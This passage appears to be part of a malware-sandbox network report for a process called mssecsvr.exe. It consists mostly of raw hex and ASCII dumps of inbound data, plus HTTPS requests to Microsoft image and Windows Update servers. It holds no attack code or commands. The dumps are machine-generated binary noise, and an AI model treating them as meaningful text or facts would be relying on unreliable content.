7f c6 4b cf Data Ascii: X:DZ>m=k?uKUy55iofg5,,SVW[;kzkMHw>sZf'&Goo+7M7ac=o}?VO<K6iWp}~Z}iIo&HfQ&__N"1R[_Mlqzy K
2022-07-20 11:24:49 UTC	7311	IN	Data Raw: 2c f1 26 b7 7b 34 b2 cb a5 59 79 9a 4f dc 7f b5 fc fb 3f dc 8d 95 3f e0 55 d2 f8 3b 51 bf d6 21 87 50 bd b3 ff 00 46 92 37 97 c9 9a 2f df ec ff 00 e2 2a 7f 1a f8 36 7f 18 78 67 58 d3 b4 fd 4b f7 52 5c 41 63 27 9d f3 bf cb f3 c9 b1 97 fd bf e1 ae e3 c3 96 36 1a 3f f6 0a 41 79 e5 69 1a 76 cf b6 f9 bf 3d d4 8f fd d4 6f ef 7f 77 fb d5 ec ff 00 6b 52 85 25 1a 8e f2 7a 7a 5b 6f bc d2 8d 45 1d cc 1b 7f dd c3 f6 2f 26 68 62 8e 4a 3f b3 64 8f fd 5c df ba ff 00 ae 5f fa 15 75 de 24 d1 ec 34 39 a1 7d 47 f7 df 6d 8d 25 b2 bb bc ff 00 5f 71 0b 3e c8 ff 00 dc 7f ef 27 f0 d6 2d f7 82 ee fe c9 79 fd 9d 37 fa bf f9 6d 79 2d 77 c7 15 4e 29 4a 7e ea 7f 89 da e6 9e fa 1e 29 e2 3b 59 23 b4 fb 6e 97 f6 bd 23 cb 91 fc c8 61 ff 00 9e df ee d5 5d 1f c4 d7 76 7e 76 a2 f0 fe f6 4f Data Ascii: ,&{4YyO??U;Q!PF7/*6xgXKR\Ac'6?Ayiv=owkR%zz[oE/&hbJ?d\_u$49}Gm%_q>'-y7my-wN)J~);Y#n#a]v~vO
2022-07-20 11:24:49 UTC	7327	IN	Data Raw: 65 ae 8e cb a6 d6 bd c8 73 57 ba 3e 83 ba d4 ac 34 4f 9d 21 8a 5f b4 7f c7 bd ad a7 fe 39 f7 7e ee ef ef 56 76 ad 75 69 e2 0b b8 7f d5 79 b1 c6 fe 64 d0 cb b3 c8 9b fd df f6 7f b9 5c 6e 87 ab 4f 79 6b 37 91 0c 5f 69 8e dd fc cf 26 5f 9e 34 6f 9b f8 7f 82 b9 ef 13 5c 47 a7 dd 43 75 04 d1 5d db 59 f9 92 5b c5 34 df f2 db 67 ef 7c 9a f0 28 65 52 f6 96 57 e6 e8 f7 2f 53 d1 7c 4f 1d bf 87 e2 b3 ba d6 b5 88 65 d3 34 e9 7c db 28 61 d8 f3 cf 37 df d8 b1 ff 00 b6 ff 00 f7 cf de af 22 93 c5 53 fd b3 7e a3 79 77 69 2c 71 f9 b1 cd 34 a8 ef f3 7f e3 ae b5 dc f8 3b 55 8e 3b 49 a7 d4 6c ed 35 79 64 8d e2 b6 86 1f 93 ec ef 37 df ff 00 7b 6d 73 ba c7 81 e4 bc 86 1b df 10 ff 00 67 cd 14 97 a9 f6 68 7c ad 89 71 0e ff 00 bb b9 7e e7 fb b5 fa 16 5c 9e 1e 92 a7 8a 57 6b 4b be Data Ascii: esW>4O!_9~Vvuiyd\nOyk7_i&_4o\GCu]Y[4g\|(eRW/S\|Oe4\|(a7"S~ywi,q4;U;Il5yd7{msgh\|q~\WkK
2022-07-20 11:24:49 UTC	7343	IN	Data Raw: 77 fb bf e3 f2 f7 57 aa 43 26 8b aa 7c 22 d1 f5 4b 5d 62 6b bb 6d 6b 5a 7b 68 e1 9b fe 98 c1 e6 7f bf f2 3b ed af 24 ba d7 13 5c bb bc d3 a7 ff 00 44 97 4a 8d ff 00 7d e5 7c 97 1b 5f e4 6f f7 eb eb b0 f5 1d 68 a9 d5 8a 5d ef d3 b1 da a5 a2 bb 39 e8 fe 1c fd b3 c3 3e 7f ef be d3 71 bf cc 9b fd df b9 ff 00 02 af 65 b4 d7 f5 64 f0 9e 9b fe 99 f6 4b e8 ed bc c9 26 fb 27 fc bb c6 9f dd ff 00 d9 d6 bc 6b 52 f1 36 a5 67 34 d0 59 43 77 f6 19 23 f3 64 86 1d ee 9f f5 d6 bd 53 4d f8 8d ab 78 83 c3 d0 ff 00 62 d9 dd fd a6 de 38 2e 63 9a 1d 9f eb a3 d8 9f f0 0f e3 da df 75 6b c9 ce e8 d7 ab 0a 73 95 a4 93 6e ff 00 ca bc ce 6a 8d 2d 10 69 b6 3f f0 b2 2e e1 f0 a4 9a be 9f 0e b9 e5 ff 00 69 59 43 79 69 be 7b 8d c9 bf f7 7f c1 b3 cb fb bb ea ef 85 7c 33 1f 82 f4 3f ed 08 Data Ascii: wWC&\|"K]bkmkZ{h;$\DJ}\|_oh]9>qedK&'kR6g4YCw#dSMxb8.cuksnj-i?.iYCyi{\|3?
2022-07-20 11:24:49 UTC	7349	IN	Data Raw: 1a 4b 71 2e a1 13 fe fe f3 ee 4b 14 4f fc 7f f0 1f 96 bc af e1 ae 95 79 e2 08 a1 d2 e3 fd d6 89 1c 9f 69 93 51 9b e4 f2 36 a7 f1 48 bf 71 03 57 6b 0d c7 85 3e d9 0f f6 f7 c4 8b b8 af ac ff 00 d1 ad a1 8a 27 92 18 21 d9 fc 08 ff 00 77 e6 fb ab b6 bf 3e fe ce a3 43 11 2e 5f 7a 77 72 bd 9b 7a f7 b7 5b 7d da be b6 15 a7 25 a1 9f 69 e2 ab 4b 08 ad 3c 3d ad e9 bf da f7 31 ff 00 ab 8b 48 95 21 b6 f9 be 6f de 3a f1 be b7 f5 9d 62 d3 c4 33 5a 6f ff 00 89 1e 8f e6 79 7a 6e 9f 0e ff 00 26 ed 17 fd 67 97 bf 99 24 66 eb 2d 6f 78 d7 c2 77 5a 8f 8a ac fc 35 e0 db 38 ed 3c 1d 1c 70 cb 6f a2 c5 34 72 3d e4 be 5f cf 35 ec bc aa 4d 2f fb 5f 71 2b a7 f8 67 a0 ff 00 c2 1f e1 fd 46 f6 eb c3 90 e9 1e 21 d4 62 fb 4d 95 ae a3 75 f6 af b1 d8 ab fc 91 c3 f2 fd e7 6f f9 67 fc 7f 7b Data Ascii: Kq.KOyiQ6HqWk>'!w>C._zwrz[}%iK<=1H!o:b3Zoyzn&g$f-oxwZ58<po4r=_5M/_q+gF!bMuog{
2022-07-20 11:24:49 UTC	7365	IN	Data Raw: b2 c7 c2 b0 de 6a 33 7d be 5d 5e 78 de 3b 3c c7 be 14 f3 3e f7 fc 0f fd aa f3 30 f9 2c a8 d1 ab 1b a9 b6 dd d5 af 1f 4f 97 5d ed b5 c4 9a be a7 a0 6a bf 10 24 b9 d3 f5 1f 0e fd b2 6d 26 d7 54 91 3e db 14 5f be 49 2e 23 ff 00 96 fb bf bd fe e5 79 e6 bf 6b 24 f7 73 43 f6 3f ed 0f 2f fd 1b f7 b2 bf ee e6 fe ff 00 fb d5 d2 c7 e2 79 fc 41 a9 59 eb 77 d6 9e 75 cd bc 7f f1 eb 0c 5f 66 86 4d bf ea be 74 ac 6d 57 c4 12 f8 8b 4d 16 77 5a 44 91 5b 49 78 f2 47 75 69 69 e4 ef 7d 9f 37 ef 3f 8b fd da f7 70 b4 dd 19 45 28 d9 75 d7 66 44 ac a5 ee bb 99 12 68 71 db c3 0c 3f f2 ce 3f f5 93 7f 1f cb ff 00 b2 d3 6e ae 12 ef 49 16 c9 67 f6 4b 6f 2d 3c c9 61 89 f7 c9 b7 fe 5a 54 ff 00 0f fc 33 ff 00 09 06 b9 0c 0f a7 6a 17 96 32 6f fb 4c 56 92 f9 2f f2 fd dd ce df 2a 2d 76 ce Data Ascii: j3}]^x;<>0,O]j$m&T>_I.#yk$sC?/yAYwu_fMtmWMwZD[IxGuii}7?pE(ufDhq??nIgKo-<aZT3j2oLV/*-v
2022-07-20 11:24:49 UTC	7381	IN	Data Raw: cf e7 dd 2b 6f 6f 9d d9 9a ae eb 53 6b 1f 12 b4 fd 02 cb c5 1a b5 d5 d4 b7 97 09 6d 1d ad a4 50 db 5a e9 36 31 a7 cb 0c 1e 63 2c 51 b1 ae 77 4e f8 25 75 a1 fe fa f6 69 65 93 f7 ff 00 ba b4 89 e6 87 f7 7f ea b6 49 fd d7 6f f9 69 f7 6a 2d 57 c7 1e 1e d1 b4 3b 3d 38 43 ff 00 09 6e a5 1c 9f 69 b9 9b 51 ff 00 53 bf f8 55 7f be a2 ae 14 e8 aa 8a 58 2b cf 5b b7 be ea d7 4d e8 b6 d7 be 9e 65 2b 36 ce 37 56 d6 6f f4 8b 58 74 b4 9b fd 0a 3f dd 79 30 cb b3 cc 4d fb 97 cc db f7 ea ef 84 bc 5d 1f 86 f5 0b 4d 5e 7d 36 6f b3 49 fb a9 3f 7b f3 f9 34 dd 62 78 fc 61 75 a7 43 a4 69 b1 69 f6 51 c7 fb c8 bc af f5 8f fc 6c cd fd da c7 f1 6e b0 f7 96 a6 09 ae ff 00 78 64 f3 24 8a 2f f5 2f b7 e5 5f f7 6b dc e5 8d 68 aa 52 5b ee 8b f8 76 3b 6d 3b e2 2f 88 b5 2f ed f8 6d 65 86 f3 Data Ascii: +ooSkmPZ61c,QwN%uieIoij-W;=8CniQSUX+[Me+67VoXt?y0M]M^}6oI?{4bxauCiiQlnxd$//_khR[v;m;//me
2022-07-20 11:24:49 UTC	7388	IN	Data Raw: 26 86 0b 1d 07 fb 46 48 f6 49 fd 93 a8 ec 49 92 cf fe 79 c6 cb fc 7b 3f 8a b4 c1 62 96 19 a8 d3 7c a9 2b 37 74 d7 5b 7a 7d c8 c2 76 6f 5d cf 04 d4 6d df c3 77 43 49 f0 f5 e6 ab a4 cb 1c 69 7b 25 d4 db 1e 1d f1 fd d4 8a 55 fb 8d eb ba bd 33 e1 5c fa d6 87 0d e1 d5 2c f5 0f 36 ce 34 b6 bd d3 fc af f5 76 f2 7f 15 7a 1c 1e 11 ff 00 84 6a cf fb 12 ca 6d 3f fb 32 da dd 25 b9 87 52 f2 2e 9e 4b 99 1f 7f f0 7f ad fe ed 6d 6a de 22 d2 7c 3f 35 9d 95 ed e5 ad dc 5e 63 cb f6 48 62 fb 2b c9 34 8f fb d5 8e 5f ef 07 ff 00 96 55 a6 2f 38 86 32 0a 9c 29 f3 5f ae ed fa e9 a5 fe 66 1e c9 de ed 9c a5 be a5 a2 dc 68 7e 15 d2 f5 bb 39 bf e1 1e b2 91 e4 b9 87 51 8b e4 b8 f2 fe 74 4f f6 7e 6f 9b 75 43 6b a2 f8 6f c5 9a de bd e2 1f 0f 6b ba 87 db af 3c 89 24 b4 9a eb 67 db e6 54 Data Ascii: &FHIIy{?b\|+7t[z}vo]mwCIi{%U3\,64vzjm?2%R.Kmj"\|?5^cHb+4_U/82)_fh~9QtO~ouCkok<$gT
2022-07-20 11:24:49 UTC	7404	IN	Data Raw: 88 53 6b 7e 24 ff 00 89 be af 79 fb df ed 08 b5 07 86 7f 95 3f d6 7e ed bf 3a 35 cd fa 5f 89 fe c5 a5 ea 57 77 72 de dc a4 5f 64 bc 89 3f e3 d3 f8 ff 00 eb a7 cf fd ca e4 74 0b ab 7f 10 6a 1a bd d6 9d af 4d 69 e6 6c b2 b2 87 52 8b f7 de 4a fd e6 66 fb 9f 27 f7 7e f7 f0 d7 27 75 63 7d a5 f8 de 14 9f cd d3 ec 3e 4b 2b 2d 42 18 bc e4 ff 00 6f ca dd 5d f0 c2 fb 57 25 5a 57 92 8f 55 fa 79 79 1a 5d 46 1b 1e 81 aa 78 82 d6 cf fe 46 18 ad 7c 31 65 f6 77 b6 92 ee 1f bf 1f f7 21 f9 3f 8b 6d 54 99 34 9f 10 78 4e ef ed 30 c5 35 8e a3 1c d6 d6 da 84 df 3c d1 c3 fc 6c bb bf 8f f8 ab cd b5 c9 fc 43 aa 4d 79 e1 b8 74 78 6d 2e 6d ed bc a9 3e d9 fe be 4f 9f fe 59 ef fe 3f fd 96 aa f8 57 c3 f7 f7 96 9a 8f 87 ae af 3f b3 a2 d2 a4 7f b4 cd 36 fd 9f 73 77 df fe 17 fe 1a e9 86 Data Ascii: Sk~$y?~:5_Wwr_d?tjMilRJf'~'uc}>K+-Bo]W%ZWUyy]FxF\|1ew!?mT4xN05<lCMytxm.m>OY?W?6sw
2022-07-20 11:24:49 UTC	7420	IN	Data Raw: 9d 34 be 7a 6c fb ab 2f ef 3f e5 99 7f dd ad 7d 46 0e ae 1a 9d 04 9b 6f 99 fb b2 df ef 7b ad 7d 76 e8 11 a8 d4 ac 96 87 b2 3d 8d 8f 8a 3c 4d f6 e8 34 7d 3f 51 d2 2d e4 fb 75 ed de 91 77 fe 8b e7 2b ef 68 b6 37 fa b8 b7 fd d6 fe 35 fe 1d b5 c1 fc 50 9f 45 d4 35 cb cd 47 fb 76 18 af ae 2d 93 fd 77 ee 3f 7c cf fc 2b f7 76 3f fe 83 d2 bc db 47 d1 b5 af 87 fe 31 bc d9 79 77 0c b7 36 df 66 fb 5c 32 f9 1e 43 ec f9 a0 91 bf ce e5 e9 53 ea 9a ad 85 c7 8b 26 d5 1e 18 b4 ef ed 98 e3 f2 b4 fb bd fe 4d a5 be cf 9b fe ba 26 ee 15 7e f5 76 2c 25 34 fd b5 2a 97 56 d9 6c 69 29 e9 e8 68 78 7e c7 42 f0 de ad 79 aa 3f 9d 69 63 6d 6c f1 c9 2f da fc 9f 2e e5 be 5f 7f 33 fb 95 c8 f8 d7 4d 9f c5 1e 76 a3 a8 cd a7 e9 d2 79 8f 73 65 0f 9b 3c de 7f fd 33 dd d7 7f f7 6b 6b c4 fe 34 Data Ascii: 4zl/?}Fo{}v=<M4}?Q-uw+h75PE5Gv-w?\|+v?G1yw6f\2CS&M&~v,%4*Vli)hx~By?icml/._3Mvyse<3kk4
2022-07-20 11:24:49 UTC	7428	IN	Data Raw: 2d bc b7 fb 4c b3 45 f3 c7 b7 fe 5a 7f bb fd da f3 fb 5d 2e 4b 7b af 9e 68 7f d2 3f d1 a3 97 ef f9 95 ed 61 71 34 eb d2 52 84 af d3 e6 64 9f 31 97 71 75 f6 89 65 df 67 e5 47 ff 00 5d 77 d6 8e 95 a7 5d dc 7e fe 0f 3b cc 8f f7 b1 fe eb fb b5 ef bf 0a ff 00 66 9b 4f 18 78 3e f2 f7 5e 9b 56 d0 a4 b7 fd e5 b7 9d 69 1a 3d db b7 c9 f7 19 b7 6c 5f f6 be f5 7a 2f 87 fc 0f e0 fd 1f 50 fe d7 f0 d7 89 35 bf 0e ea 51 db 25 b5 ce 9f a7 45 ff 00 1f 90 ff 00 ab f2 7f e0 5f 79 eb c1 c4 f1 26 12 94 e7 46 95 e5 28 ef 6f 86 fd 35 57 fc 13 b6 b7 34 b7 2b 57 7b 98 57 fe 00 f1 7f c6 0b ad 23 50 78 b5 0d 3b c4 12 46 97 d7 17 77 7b f6 5a 79 df f3 c7 cb fb fe 72 ae f7 b8 7f 9b f8 2b bb f8 8d a3 c7 a8 78 63 58 ff 00 84 6e ce 5d 0e e7 5e f2 34 db 9d 3a ce 5f f9 73 8d ff 00 d5 6c 7f Data Ascii: -LEZ].K{h?aq4Rd1quegG]w]~;fOx>^Vi=l_z/P5Q%E_y&F(o5W4+W{W#Px;Fw{Zyr+xcXn]^4:_sl
2022-07-20 11:24:49 UTC	7444	IN	Data Raw: cb 1d ba 7d 9b c4 33 4b 3f 97 3a 7d e9 7c c8 b6 ee f2 24 ff 00 c7 be ed 41 f1 4b 5f d5 ac 7c 3f a4 78 6a 1d 3b 55 bb be d4 6e 52 eb 4e b4 d3 ed 12 0f 23 72 79 76 eb f2 ff 00 08 5f fb e5 ab 52 4f 18 f8 a6 f3 49 87 5b bd b3 8a 5d 36 e3 fd 26 ca ee 68 bf d1 64 da ff 00 f2 cd 23 f9 7f d9 66 ac 18 f5 9f f8 46 f5 69 bc 45 e3 2f 14 ea 1a 4f 88 64 b9 7f ec e8 65 89 df c8 dd f3 23 4b fe cf cd fb b5 ae cc 2c ab a9 39 56 4a 76 e8 b5 d7 b7 f5 f2 48 99 c6 3b db 72 1f 83 af 69 a1 ea 96 7f f0 95 de 45 77 e2 6f df 69 be 75 9e cd 42 68 1f e4 f2 63 7d df f2 c7 fb df de fa 57 73 e1 35 f0 0f 85 ed 35 2d 51 ef 35 5d 42 3b 8b df dd ea ba 75 a2 7d 8b e6 f9 9f c8 8f fb 8b f7 77 ff 00 0d 79 0f 8c 7c 2f 3d 9f c5 18 6f 7c 23 a8 e6 3b 98 fc db 69 a1 8b fd 2a ef ce f9 a4 f3 3c cf ef Data Ascii: }3K?:}\|$AK_\|?xj;UnRN#ryv_ROI[]6&hd#fFiE/Ode#K,9VJvH;riEwoiuBhc}Ws55-Q5]B;u}wy\|/=o\|#;i*<
2022-07-20 11:24:49 UTC	7460	IN	Data Raw: 91 17 f8 5d ff 00 bf fd ef ee d7 9f 96 e6 94 1d a9 cf 99 b8 b6 ad e9 d5 bf b5 e9 73 39 27 f7 9f 31 69 c6 4d 22 ea 57 fb 5f fc 7c 47 ff 00 3d 6b b5 d7 3c 47 24 7a 4c 36 56 b6 7f ba bc ff 00 49 b9 86 6f bf 3b af dd df b7 f8 7f 89 56 af 7c 4c b1 f0 d6 9f 35 e2 5a c3 16 9d 73 e6 7e ee d2 1f 9d 23 ff 00 a6 6f fd da e4 34 3d 4a 48 fc ef f5 df bb 93 f7 92 f9 bf b8 af b7 84 96 22 0a b7 2b f9 e8 43 8a 93 bb 36 fc 1b 1d dc 7a 8c 3a 8e 97 a9 4d 15 cc 97 29 17 ee 62 de 9b 3f db ff 00 65 ab d6 bc 6d e2 9b af 07 b5 dc c6 d3 4f 1a fc 71 fd b6 5b 59 bf 7e 9b 3e ec 7f ec d7 0d a3 78 9a ff 00 c3 fe 22 b3 83 50 b3 f3 ae 63 b9 4b 9b 68 66 89 3f 7e ff 00 f2 cb 6f fc 0a bb fd 47 64 9a 7c cf 06 a5 e5 5b 47 1c 1f db f3 4d 17 fc bc c9 ff 00 3f 5f c0 ff 00 35 79 78 ae 59 54 8c e4 Data Ascii: ]s9'1iM"W_\|G=k<G$zL6VIo;V\|L5Zs~#o4=JH"+C6z:M)b?emOq[Y~>x"PcKhf?~oGd\|[GM?_5yxYT
2022-07-20 11:24:49 UTC	7468	IN	Data Raw: 5d 3e fb dd f6 f3 30 94 9c 5e 87 4b 6b e3 2f 0b fc 48 f1 37 f6 a6 a3 fd a3 a7 7d 9e 3f 2e ca 28 65 d9 0e f6 fe ff 00 de ff 00 81 57 a6 5d 68 da b7 86 f4 39 b4 4b 5d 07 fb 42 da 39 1f ec 5a 7e 9d b3 f7 68 df 33 c9 2b 7f 7e b9 5f 03 fc 39 f0 f6 9f e0 88 6f 9e 1f f8 aa ae 3f 77 6d 6b 0e a1 f2 40 8a fb bc ff 00 93 77 cd b7 fb ff 00 2b 54 ba e7 8c 60 f0 9e ad 33 da ff 00 68 ea f6 d2 49 f6 9b 99 a6 ff 00 96 9e 67 cb f2 ff 00 0a d6 75 a5 0a f5 7d 86 12 ee 10 e8 fc b6 69 df 6d f5 ea 28 de fc ec e8 af bc 63 05 c6 89 f6 ad 2e cf 50 d3 a3 b3 ff 00 8f 6d 26 1d ff 00 bb fe 1d ae ad f3 fc b5 c1 78 6f 54 d6 bc 17 e2 0b cd 46 c7 4d d4 21 be bd 93 ec 36 d3 5a 45 f2 47 b9 3f 7a bf ee d7 4b e2 af 8b d7 7a e5 dc 3a 7e 97 a3 c5 fd a5 f2 45 6d 69 34 4f fc 5f 27 99 2f 65 ff 00 Data Ascii: ]>0^Kk/H7}?.(eW]h9K]B9Z~h3+~_9o?wmk@w+T`3hIgu}im(c.Pm&xoTFM!6ZEG?zKz:~Emi4O_'/e
2022-07-20 11:24:49 UTC	7484	IN	Data Raw: 6f 99 6f aa b7 cf a7 4b 7a 16 f5 56 3b 0d 6f 49 d5 b5 4f f8 45 ae 74 fb 49 75 0b 9d 3a 44 b2 92 6b 4f 9d ed 37 7f cf 4f ef 2f f1 ff 00 76 ba 1f 8b 7e 26 d3 6c e6 b3 d0 7c 43 0d dc ba 6e 9d 6c 96 d2 4b 0c bb fc b9 9b e6 6b b5 75 ff 00 5d bb 7e 1a b1 f4 7f 15 7f c2 37 ae 6a 53 69 10 cd 0d f6 9d 6d e6 e9 b6 9f eb a1 f9 93 e7 8f 67 f1 25 78 f6 b1 e2 3d 4f c6 13 7d 8b ce f2 7e d1 22 7f a2 4d f2 24 6e bf 27 fc 02 ba a8 e1 a7 88 ab 19 cd 5a 31 5e 8f 5f f2 fd 47 cd a5 91 b7 71 e3 88 e3 b4 fe cb d2 ff 00 d2 ed a3 df fe bb fe 5a 7c ff 00 24 9b bf dd ae b3 e1 af c3 5b 4c 41 e2 5f ed db 4b bb ef 33 fe 41 3f bc fd c3 ff 00 07 cc bf 76 bc e3 47 93 ec fa 87 d8 a7 86 1f 36 49 3c a9 7f e9 9d 7a 1f 87 3c 4f 27 84 e2 87 41 48 61 87 ec fb e5 93 ce fb f2 24 9f f2 cd a4 ff 00 Data Ascii: ooKzV;oIOEtIu:DkO7O/v~&l\|CnlKku]~7jSimg%x=O}~"M$n'Z1^_GqZ\|$[LA_K3A?vG6I<z<O'AHa$
2022-07-20 11:24:49 UTC	7500	IN	Data Raw: f3 a4 f1 34 3d a4 7e 2e dd be 5d 08 8d d9 ec 1f da 57 fa 7c 3a 95 d4 1e 75 dd b4 9b 22 b6 d4 2c fe 4f 32 66 7f 91 7c be 7f 8e ba db 7b a8 bc 79 a8 4c 9a bc df d9 11 d9 c7 ff 00 1f 5e 6a 27 9f 37 f7 3e 6c ae cf ef 57 9d db eb 13 eb 96 93 41 a5 fd 92 19 6e 2d bf d2 6e fc d7 fd e3 ec f9 a2 58 db d3 fd 9a e0 24 d4 b5 dd 1f c9 49 ac f5 1b b9 7e 4f 32 29 be 4f f8 0f fb 75 e4 62 70 2b 15 2b 51 7c b5 23 d7 a9 ac a4 a5 f0 9e c1 37 85 67 b7 d4 26 82 d7 52 b4 b4 b9 f9 e2 8f f7 5f 3c 6f 1f cd f7 97 f8 3f f6 4e b4 cf 15 7c 35 93 5c 9a 6b ad 12 f2 19 bf 78 91 5c da 59 cb fd df 97 f7 4e bf f2 cb fb b4 78 57 52 be 8e 29 9e ea 18 bf d2 2d bc ab 2b bb cf b9 6f 37 96 3e f3 56 dd d5 d5 fd 9c 3f d9 da 44 d0 da 58 c7 7b e5 79 d3 6c f2 24 7d 9f 36 d7 6f b8 8f bb e5 fe 1a 88 4a Data Ascii: 4=~.]W\|:u",O2f\|{yL^j'7>lWAn-nX$I~O2)Oubp++Q\|#7g&R_<o?N\|5\kx\YNxWR)-+o7>V?DX{yl$}6oJ
2022-07-20 11:24:49 UTC	7508	IN	Data Raw: f2 d3 cd d9 7b e7 37 dc fd f7 fc f2 de df 75 7f e0 55 e4 5f 0b fc 69 6b a0 9d 49 f5 1d 37 4e d5 e3 fd df ef b5 0d 3f cf f2 fe 7f ee 3b a7 46 fe 0f e2 fa 57 a6 5f 7c 7a d1 6c f4 eb 3d 63 fe 11 b9 b5 7d 4f ed 3f 69 b6 bb fb 5f ee 76 2f dd f3 62 ff 00 96 7f bc fb b1 2e c5 db 5e 16 37 0f 56 35 92 a1 0e a5 9c 7f c7 fb 0b 7f 04 f8 27 c3 7a 45 dd 9c d3 6b 97 9f e9 36 da 84 33 79 70 db a6 f6 49 62 68 be ec 92 3b 7c c6 4d d5 e5 b6 36 b1 de 69 3f f1 34 d4 be c9 2c 7f ba b6 87 ca de 9b 1b ef d7 43 e2 af 1a 5d f8 e3 5c 9a 7f 3a ee ef 57 92 f5 e5 fd f7 cf fe ea fc bf 2f b7 cb 5c ac da 95 bc 7a 86 fb d8 bf d2 7c bf 32 4f dd 7f ab ff 00 a6 5b 6b dd a0 aa d3 a1 18 4b 59 75 33 6d c9 58 cf d6 ac ec 34 db db 59 34 59 6e ae a2 b7 8d 0c 92 dd 43 b3 7f fc 07 e6 ac df ed bf b4 Data Ascii: {7uU_ikI7N?;FW_\|zl=c}O?i_v/b.^7V5'zEk63ypIbh;\|M6i?4,C]\:W/\z\|2O[kKYu3mX4Y4YnC
2022-07-20 11:24:49 UTC	7524	IN	Data Raw: f8 56 9f 6c d0 66 9a 2d 46 f6 f2 44 92 f2 59 a2 fe 35 ff 00 96 bf fb 2d 14 57 d0 61 a7 3c 6c de 13 10 f9 a1 18 df ee f3 f9 7d e7 0c a5 69 e8 ac 79 47 c4 cb a8 3c 69 e3 29 b5 1d 2e 68 7c bd 57 7f da 66 9a 24 b5 4d fb ff 00 b8 b5 d4 68 de 39 b4 8f c2 5f d8 89 e5 5e 49 e5 bd b5 ec b2 ff 00 cb 7d bf 73 e6 6f e1 5f e1 44 a2 8a fb 5a b4 21 52 82 a7 2d 54 36 f9 3b 2b 9d 73 f8 4c 8d 4b 43 bf 8e d2 cf 52 fd ec ba 44 72 ff 00 a3 7f a2 7e e6 77 5f 95 a2 fe e7 15 df eb be 24 ff 00 4b 86 eb 4f d3 ad 74 3f 33 c8 f2 ee ed 3f e9 9b fc ac bf ed 87 fb eb 45 15 cd 46 9c 71 52 8c aa 7d 96 e2 bd 2f d4 70 d2 7c c6 ef 88 ec 74 df f8 4c 6c f5 4d 22 cf f7 b7 16 5f e9 3e 77 fc b4 fb ef b9 76 fd c7 67 ac 8f 13 5d 7d b3 c9 bd 78 7e c9 a1 ea b6 d3 fd 9a 6b b8 be cb f3 c6 fb 1d 53 aa Data Ascii: Vlf-FDY5-Wa<l}iyG<i).h\|Wf$Mh9_^I}so_DZ!R-T6;+sLKCRDr~w_$KOt?3?EFqR}/p\|tLlM"_>wvg]}x~kS

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.7	49732	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:38 UTC	80	OUT	GET /image/apps.10288.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.12bb65f7-1014-4469-bb2e-59f575e79b05?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:38 UTC	81	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 1821 Content-Type: image/png Last-Modified: Thu, 31 Mar 2022 05:44:16 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REExMkQ5N0UzREU4ODQ" MS-CV: opsyL7UQw0OK0Svs.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:38 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:38 UTC	81	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 06 e4 49 44 41 54 78 01 ec d2 31 15 00 00 04 00 51 94 b3 08 a3 ff 24 83 fd ff 08 f7 2e 7b 27 be a0 24 c0 38 18 07 e3 60 1c 30 0e c6 c1 38 18 07 e3 80 71 30 0e c6 c1 38 18 07 8c 83 71 30 0e c6 c1 38 60 1c 8c 83 71 30 0e c6 01 e3 60 1c 8c 83 71 30 0e 18 07 e3 60 1c 8c 83 71 c0 38 18 07 e3 60 1c 30 0e c6 c1 38 18 07 e3 80 71 30 0e c6 c1 38 1c 7b 67 0d 25 49 72 04 d0 1f dd b3 bc 2b 66 26 47 cc cc 6c 09 3d b1 e4 8a d1 16 79 42 4b b6 ce 77 74 8e c8 12 93 75 cc cc cc 77 83 5d f1 f5 b6 df d4 7b 95 2f 7b 8e bb 7a 21 bf 53 d8 fc 37 22 2a a3 72 e7 94 66 8d 93 90 ff be f0 e7 4f 3a 72 ec c8 b7 c0 f7 31 c0 ae 63 21 5d 32 44 93 82 ce e1 41 e8 c9 04 4a b2 df 67 d2 63 Data Ascii: PNGIHDR0IDATx1Q$.{'$8`08q08q08`q0`q0`q8`08q08{g%Ir+f&Gl=yBKwtuw]{/{z!S7"*rfO:r1c!]2DAJgc

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.7	50957	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:50 UTC	7528	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 11:24:50 UTC	7531	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 0aadef18-edfc-4a39-baee-afc368d88d40 MS-RequestId: 32927843-c99e-4f26-a98e-49546f40e194 MS-CV: 1/uxlUtaQUuyfAu/.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 11:24:49 GMT Connection: close Content-Length: 35877
